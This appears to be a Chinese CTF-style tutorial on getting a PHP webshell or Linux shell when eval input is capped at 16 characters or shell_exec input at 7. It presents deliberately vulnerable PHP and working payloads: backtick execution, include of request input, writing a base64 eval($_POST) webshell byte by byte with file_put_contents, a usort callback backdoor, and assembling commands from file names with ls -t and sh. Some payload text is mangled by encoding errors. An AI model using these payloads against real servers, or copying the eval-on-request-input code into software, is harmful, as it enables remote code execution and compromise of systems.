目录
php eval函数参数限制在16个字符的情况下,如何拿到webshell
Linux命令长度限制在7个字符的情况下,如何拿到shell
1.eval长度限制突破
php eval函数参数限制在16个字符的情况下,如何拿到webshell
<?php
$param = $_REQUEST['param'];
if (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
这段代码不仅参数长度限制,并且还过滤了eval和assert两个函数,我们的第一想法肯定是params=$_POST[123]
但是好像有问题。下面给出几个技巧
技巧1:`$_GET[1]`
技巧2: include$_GET[1]
这个需要我们提前写入一个phpinfo的文件,利用脚本不停post上传垃圾数据大文件,让它生成临时文件,找到临时文件的位置,在1的位置输入临时文件的位置,然后include文件包含
技巧3:file_put_contents
rce.php?1=file_put_contents¶m=$_GET[1](N,P,8);
rce.php?1=file_put_contents¶m=$_GET[1](N,D,8);
.......
rce.php?1=file_put_contents¶m=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' */
rce.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N
当我们执行rce.php?1=file_put_contents¶m=$_GET[1](N,P,8);时他就会生成一个内容为P,文件名为N的文件
因为长度的限制,所以我们的目的就是将<?php eval($_POST[9]);的base64编码的值PD9waHAgZXZhbCgkX1BPU1RbOV0pOw一个一个的这样写入文件N中去,再用php://filter伪协议将N解码执行。最后我们抓包改包不就可以了吗?
问题又来了?我们为什么不能直接传入未编码的值呢?
因为file_put_contents不允许写入<
技巧4:usort(...$_GET)
php5.6+变长参数=>usort回调后门=>任意代码执行
param=usort(...$_GET);
rce.php?1[]=test&1[]=phpinfo();&2=assert
2.命令长度限制突破技巧
Linux命令长度限制在7个字符的情况下,如何拿到shell
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{
echo shell_exec($param);
}
技巧1:临时文件的匹配
完成这个问题,很简单。我们需要先写一个文件,文件里面有我们的想要执行的命令,上传时生成临时文件。利用php临时文件的匹配param= . /t*/*。然后shell_exec执行我们文件里的命令
技巧2:拆分
>hp
>c.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
>重定向依次创建文件
文件列表以[换行符]分割每个文件
引入 `\` 转义ls时的换行,linux中,执行命令时,可以在没有写完的命令后面加\,实现一条命令多行化,以行末没有\为止
然后ls -t 以创建时间来列出当前目录下所有文件 ,写入0文件里
sh 0执行0文件里的命令